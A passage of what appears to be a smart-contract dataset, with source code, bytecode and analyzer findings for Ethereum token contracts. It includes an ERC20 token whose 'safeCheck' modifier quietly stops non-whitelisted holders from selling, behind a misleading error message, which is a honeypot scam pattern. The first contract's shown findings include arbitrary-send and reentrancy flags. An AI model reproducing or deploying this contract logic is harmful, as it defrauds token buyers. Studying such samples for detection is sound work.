swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102d9578063c3c8cd80146102f9578063c9567bf91461030e578063d543dbeb14610323578063dd62ed3e1461034357600080fd5b8063715018a61461024d5780638da5cb5b1461026257806395d89b411461028a578063a9059cbb146102b957600080fd5b8063273123b7116100dc578063273123b7146101ba578063313ce567146101dc5780635932ead1146101f85780636fc3eaec1461021857806370a082311461022d57600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019a57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e610389565b60405161013b919061198c565b60405180910390f35b34801561015057600080fd5b5061016461015f36600461181d565b6103a9565b604051901515815260200161013b565b34801561018057600080fd5b50683635c9adc5dea000005b60405190815260200161013b565b3480156101a657600080fd5b506101646101b53660046117dd565b6103c0565b3480156101c657600080fd5b506101da6101d536600461176d565b610429565b005b3480156101e857600080fd5b506040516009815260200161013b565b34801561020457600080fd5b506101da61021336600461190f565b61047d565b34801561022457600080fd5b506101da6104c5565b34801561023957600080fd5b5061018c61024836600461176d565b6104f2565b34801561025957600080fd5b506101da610514565b34801561026e57600080fd5b506000546040516001600160a01b03909116815260200161013b565b34801561029657600080fd5b506040805180820190915260068152654e4f54494e5560d01b602082015261012e565b3480156102c557600080fd5b506101646102d436600461181d565b610588565b3480156102e557600080fd5b506101da6102f4366004611848565b610595565b34801561030557600080fd5b506101da610639565b34801561031a57600080fd5b506101da61066f565b34801561032f57600080fd5b506101da61033e366004611947565b610a32565b34801561034f57600080fd5b5061018c61035e3660046117a5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060604051806060016040528060258152602001611b5d60259139905090565b60006103b6338484610b05565b5060015b92915050565b60006103cd848484610c29565b61041f843361041a85604051806060016040528060288152602001611b82602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc3565b610b05565b5060019392505050565b6000546001600160a01b0316331461045c5760405162461bcd60e51b8152600401610453906119df565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a75760405162461bcd60e51b8152600401610453906119df565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104e557600080fd5b476104ef81610ffd565b50565b6001600160a01b0381166000908152600260205260408120546103ba90611082565b6000546001600160a01b0316331461053e5760405162461bcd60e51b8152600401610453906119df565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b6338484610c29565b6000546001600160a01b031633146105bf5760405162461bcd60e51b8152600401610453906119df565b60005b8151811015610635576001600660008484815181106105f157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062d81611af2565b9150506105c2565b5050565b600e546001600160a01b0316336001600160a01b03161461065957600080fd5b6000610664306104f2565b90506104ef81611106565b6000546001600160a01b031633146106995760405162461bcd60e51b8152600401610453906119df565b601154600160a01b900460ff16156106f35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610453565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107303082683635c9adc5dea00000610b05565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076957600080fd5b505afa15801561077d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a19190611789565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e957600080fd5b505afa1580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108219190611789565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086957600080fd5b505af115801561087d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a19190611789565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108d1816104f2565b6000806108e66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094957600080fd5b505af115801561095d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610982919061195f565b505060118054673afb087b8769000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fa57600080fd5b505af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610635919061192b565b6000546001600160a01b03163314610a5c5760405162461bcd60e51b8152600401610453906119df565b60008111610aac5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610453565b610aca6064610ac4683635c9adc5dea00000846112ab565b9061132a565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610453565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610453565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610453565b6001600160a01b038216610cef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610453565b60008111610d515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610453565b6007600a556003600b556000546001600160a01b03848116911614801590610d8757506000546001600160a01b03838116911614155b15610f66576001600160a01b03831660009081526006602052604090205460ff16158015610dce57506001600160a01b03821660009081526006602052604090205460ff16155b610dd757600080fd5b6011546001600160a01b038481169116148015610e0257506010546001600160a01b03838116911614155b8015610e2757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e3c5750601154600160b81b900460ff165b15610e9957601254811115610e5057600080fd5b6001600160a01b0382166000908152600760205260409020544211610e7457600080fd5b610e7f42601e611a84565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610ec457506010546001600160a01b03848116911614155b8015610ee957506001600160a01b03831660009081526005602052604090205460ff16155b15610ef9576007600a819055600b555b6000610f04306104f2565b601154909150600160a81b900460ff16158015610f2f57506011546001600160a01b03858116911614155b8015610f445750601154600160b01b900460ff165b15610f6457610f5281611106565b478015610f6257610f6247610ffd565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fa857506001600160a01b03831660009081526005602052604090205460ff165b15610fb1575060005b610fbd8484848461136c565b50505050565b60008184841115610fe75760405162461bcd60e51b8152600401610453919061198c565b506000610ff48486611adb565b95945050505050565b600e546001600160a01b03166108fc61101783600261132a565b6040518115909202916000818181858888f1935050505015801561103f573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61105a83600261132a565b6040518115909202916000818181858888f19350505050158015610635573d6000803e3d6000fd5b60006008548211156110e95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610453565b60006110f361139a565b90506110ff838261132a565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061115c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111b057600080fd5b505afa1580156111c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e89190611789565b8160018151811061120957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260105461122f9130911684610b05565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611268908590600090869030904290600401611a14565b600060405180830381600087803b15801561128257600080fd5b505af1158015611296573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b6000826112ba575060006103ba565b60006112c68385611abc565b9050826112d38583611a9c565b146110ff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610453565b60006110ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113bd565b80611379576113796113eb565b611384848484611419565b80610fbd57610fbd600c54600a55600d54600b55565b60008060006113a7611510565b90925090506113b6828261132a565b9250505090565b600081836113de5760405162461bcd60e51b8152600401610453919061198c565b506000610ff48486611a9c565b600a541580156113fb5750600b54155b1561140257565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061142b87611552565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061145d90876115af565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461148c90866115f1565b6001600160a01b0389166000908152600260205260409020556114ae81611650565b6114b8848361169a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114fd91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061152c828261132a565b82101561154957505060085492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061156f8a600a54600b546116be565b925092509250600061157f61139a565b905060008060006115928e87878761170d565b919e509c509a509598509396509194505050505091939550919395565b60006110ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc3565b6000806115fe8385611a84565b9050838110156110ff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610453565b600061165a61139a565b9050600061166883836112ab565b3060009081526002602052604090205490915061168590826115f1565b30600090815260026020526040902055505050565b6008546116a790836115af565b6008556009546116b790826115f1565b6009555050565b60008080806116d26064610ac489896112ab565b905060006116e56064610ac48a896112ab565b905060006116fd826116f78b866115af565b906115af565b9992985090965090945050505050565b600080808061171c88866112ab565b9050600061172a88876112ab565b9050600061173888886112ab565b9050600061174a826116f786866115af565b939b939a50919850919650505050505050565b803561176881611b39565b919050565b60006020828403121561177e578081fd5b81356110ff81611b39565b60006020828403121561179a578081fd5b81516110ff81611b39565b600080604083850312156117b7578081fd5b82356117c281611b39565b915060208301356117d281611b39565b809150509250929050565b6000806000606084860312156117f1578081fd5b83356117fc81611b39565b9250602084013561180c81611b39565b929592945050506040919091013590565b6000806040838503121561182f578182fd5b823561183a81611b39565b946020939093013593505050565b6000602080838503121561185a578182fd5b823567ffffffffffffffff80821115611871578384fd5b818501915085601f830112611884578384fd5b81358181111561189657611896611b23565b8060051b604051601f19603f830116810181811085821117156118bb576118bb611b23565b604052828152858101935084860182860187018a10156118d9578788fd5b8795505b83861015611902576118ee8161175d565b8552600195909501949386019386016118dd565b5098975050505050505050565b600060208284031215611920578081fd5b81356110ff81611b4e565b60006020828403121561193c578081fd5b81516110ff81611b4e565b600060208284031215611958578081fd5b5035919050565b600080600060608486031215611973578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119b85785810183015185820160400152820161199c565b818111156119c95783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a635784516001600160a01b031683529383019391830191600101611a3e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a9757611a97611b0d565b500190565b600082611ab757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ad657611ad6611b0d565b500290565b600082821015611aed57611aed611b0d565b500390565b6000600019821415611b0657611b06611b0d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ef57600080fd5b80151581146104ef57600080fdfe4e6f746f72696f757320496e75f09f8ea9f09f95b6f09f92aaf09f92b5f09f9aacf09f969545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb6b9acbef3198d4deda96cd2b80670ed9e3e1fc300e8ffd5dea6fb9a22e529364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 109 |
0x937a6484547a741e2cc03d616a51352a86d0d422 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_TOMO(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffff